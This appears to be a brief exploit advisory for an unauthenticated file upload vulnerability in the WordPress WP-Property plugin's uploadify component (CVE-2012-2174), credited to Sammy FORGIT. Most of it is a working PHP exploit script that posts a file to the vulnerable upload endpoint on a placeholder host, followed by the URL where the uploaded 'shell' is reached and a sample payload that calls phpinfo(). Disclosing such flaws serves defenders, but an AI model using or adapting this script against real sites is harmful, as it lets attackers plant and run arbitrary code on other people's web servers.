WordPress WP-Property PHP File Upload Exploit

Summary

WordPress WP-Property PHP suffers from File Upload vulnerability

Credit:

The information has been provided by Sammy FORGIT.


Details

Vulnerable Systems:
 * WordPress WP-Property

Exploit :
PostShell.php
<?php

$uploadfile=’lo.php’;
$ch =
curl_init(‘http://www.exemple.com/wordpress/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php’);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array(‘Filedata’=>’@$uploadfile’,

‘folder’=>’/wordpress/wp-content/plugins/wp-property/third-party/uploadify/’));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print ‘$postResult’;

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/wp-property/third-party/uploadify/lo.php

lo.php
<?php
phpinfo();
?>

CVE Information:
CVE: 2012-2174

Disclosure Timeline:
Published: 2012-06-05

Categories: Exploits